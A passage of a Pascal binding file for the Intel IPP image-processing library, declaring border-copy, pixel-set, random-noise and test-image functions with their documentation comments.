function ippiCopyMirrorBorder_16s_C3IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16s_C4IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C1IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C3IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C4IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C1IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C3IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C4IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C1IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C3IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32f_C4IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopyWrapBorder
Purpose: Copies pixel values between two buffers and adds the border pixels.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr 1). srcRoiSize or dstRoiSize has a field with negative or zero value
2). topBorderHeight or leftBorderWidth is less than zero
3). dstRoiSize.width < srcRoiSize.width + leftBorderWidth
4). dstRoiSize.height < srcRoiSize.height + topBorderHeight
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image
scrRoiSize Size of the source ROI in pixels
dstRoiSize Size of the destination ROI in pixels
topBorderHeight Height of the top border in pixels
leftBorderWidth Width of the left border in pixels
}
function ippiCopyWrapBorder_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyWrapBorder_32s_C1IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyWrapBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyWrapBorder_32f_C1IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDup
Purpose: Duplication pixel values from the source image
to the correspondent pixels in all channels
of the destination image.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image buffer
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image buffer
roiSize Size of the ROI
}
function ippiDup_8u_C1C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDup_8u_C1C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSet
Purpose: Sets pixels in the image buffer to a constant value
Returns:
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr roiSize has a field with negative or zero value
ippStsNoErr OK
Parameters:
value Constant value assigned to each pixel in the image buffer
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image buffer
roiSize Size of the ROI
pMask Pointer to the mask image buffer
maskStep Step in bytes through the mask image buffer
}
function ippiSet_8u_C1R( value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_C3CR( value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_C4CR( value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_C3R( const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_C4R( const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_AC4R( const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_8u_C1MR( value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_8u_C3MR( const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_8u_C4MR( const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_8u_AC4MR( const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16s_C1R( value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_C3CR( value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_C4CR( value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_C3R( const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_C4R( const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_AC4R( const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16s_C1MR( value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16s_C3MR( const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16s_C4MR( const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16s_AC4MR( const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32f_C1R( value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_C3CR( value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_C4CR( value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_C3R( const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_C4R( const value : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_AC4R( const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32f_C1MR( value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32f_C3MR( const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32f_C4MR( const value : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32f_AC4MR( const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32s_C1R( value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_C3CR( value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_C4CR( value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_C3R( const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_C4R( const value : Ipp32s_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_AC4R( const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_32s_C1MR( value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32s_C3MR( const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32s_C4MR( const value : Ipp32s_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_32s_AC4MR( const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16u_C1R( value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_C3CR( value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_C4CR( value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_C3R( const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_C4R( const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_AC4R( const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSet_16u_C1MR( value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16u_C3MR( const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16u_C4MR( const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiSet_16u_AC4MR( const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddRandUniform_8u_C1IR, ippiAddRandUniform_8u_C3IR,
ippiAddRandUniform_8u_C4IR, ippiAddRandUniform_8u_AC4IR,
ippiAddRandUniform_16s_C1IR, ippiAddRandUniform_16s_C3IR,
ippiAddRandUniform_16s_C4IR, ippiAddRandUniform_16s_AC4IR,
ippiAddRandUniform_32f_C1IR, ippiAddRandUniform_32f_C3IR,
ippiAddRandUniform_32f_C4IR, ippiAddRandUniform_32f_AC4IR
ippiAddRandUniform_16u_C1IR, ippiAddRandUniform_16u_C3IR,
ippiAddRandUniform_16u_C4IR, ippiAddRandUniform_16u_AC4IR,
Purpose: Generates pseudo-random samples with uniform distribution and adds them
to an image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr The step in image is less than or equal to zero
Parameters:
pSrcDst Pointer to the image
srcDstStep Step in bytes through the image
roiSize ROI size
low The lower bounds of the uniform distributions range
high The upper bounds of the uniform distributions range
pSeed Pointer to the seed value for the pseudo-random number
generator
}
function ippiAddRandUniform_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp8u ; high : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp8u ; high : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp8u ; high : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp8u ; high : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16s ; high : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16s ; high : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16s ; high : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16s ; high : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp32f ; high : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp32f ; high : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp32f ; high : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp32f ; high : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16u ; high : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16u ; high : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16u ; high : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandUniform_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; low : Ipp16u ; high : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddRandGauss_8u_C1IR, ippiAddRandGauss_8u_C3IR,
ippiAddRandGauss_8u_C4IR, ippiAddRandGauss_8u_AC4IR
ippiAddRandGauss_16s_C1IR, ippiAddRandGauss_16s_C3IR,
ippiAddRandGauss_16s_C4IR, ippiAddRandGauss_16s_AC4IR,
ippiAddRandGauss_32f_C1IR, ippiAddRandGauss_32f_C3IR,
ippiAddRandGauss_32f_C4IR, ippiAddRandGauss_32f_AC4IR
ippiAddRandGauss_16u_C1IR, ippiAddRandGauss_16u_C3IR,
ippiAddRandGauss_16u_C4IR, ippiAddRandGauss_16u_AC4IR,
Purpose: Generates pseudo-random samples with normal distribution and adds them
to an image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr The step value is less than or equal to zero
Parameters:
pSrcDst Pointer to the image
srcDstStep Step in bytes through the image
roiSize ROI size
mean The mean of the normal distribution
stdev The standard deviation of the normal distribution
pSeed Pointer to the seed value for the pseudo-random number
generator
}
function ippiAddRandGauss_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp8u ; stdev : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp8u ; stdev : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp8u ; stdev : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp8u ; stdev : Ipp8u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16s ; stdev : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16s ; stdev : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16s ; stdev : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16s ; stdev : Ipp16s ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp32f ; stdev : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp32f ; stdev : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp32f ; stdev : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp32f ; stdev : Ipp32f ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16u ; stdev : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16u ; stdev : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16u ; stdev : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
function ippiAddRandGauss_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; mean : Ipp16u ; stdev : Ipp16u ; pSeed : Word32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiImageJaehne
Purpose: Creates Jaenne`s test image
Returns:
ippStsNoErr No error
ippStsNullPtrErr pDst pointer is NULL
ippStsSizeErr roiSize has a field with zero or value : negative ; or
srcDstStep has a zero or negative value
Parameters:
pDst Pointer to the destination buffer
DstStep Step in bytes through the destination buffer
roiSize Size of the destination image ROI in pixels
Notes:
Dst(x,y,) = A*Sin(0.5*IPP_PI* (x2^2 + y2^2) / roiSize.height),
x variables from 0 to roi.width-1,
y variables from 0 to roi.height-1,
x2 = (x-roi.width+1)/2.0 , y2 = (y-roi.height+1)/2.0 .
A is the constant value depends on the image type being created.
}
function ippiImageJaehne_8u_C1R( pDst : Ipp8uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_8u_C3R( pDst : Ipp8uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_8u_C4R( pDst : Ipp8uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_8u_AC4R( pDst : Ipp8uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16u_C1R( pDst : Ipp16uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16u_C3R( pDst : Ipp16uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16u_C4R( pDst : Ipp16uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16u_AC4R( pDst : Ipp16uPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16s_C1R( pDst : Ipp16sPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16s_C3R( pDst : Ipp16sPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16s_C4R( pDst : Ipp16sPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_16s_AC4R( pDst : Ipp16sPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_32f_C1R( pDst : Ipp32fPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_32f_C3R( pDst : Ipp32fPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_32f_C4R( pDst : Ipp32fPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiImageJaehne_32f_AC4R( pDst : Ipp32fPtr ; DstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiImageRamp
Purpose: Creates an ippi test image with an intensity ramp.
Parameters:
pDst - Pointer to the destination buffer.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
roiSize - Size, in pixels, of the destination image ROI.
offset - Offset value.
slope - Slope coefficient.
axis - Specifies the direction of the image intensity ramp, possible values:
ippAxsHorizontal in X-direction,
ippAxsVertical in Y-direction,
ippAxsBoth in both X and Y-directions.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsStepErr - Error when dstStep has a zero or negative value.
ippStsSizeErr - Error when roiSize has a field with value less than 1.
Notes: Dst(x,y) = offset + slope * x (if ramp for X-direction)
Dst(x,y) = offset + slope * y (if ramp for Y-direction)
Dst(x,y) = offset + slope * x*y (if ramp for X, Y-direction)
}
function ippiImageRamp_8u_C1R( pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_8u_C3R( pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_8u_C4R( pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
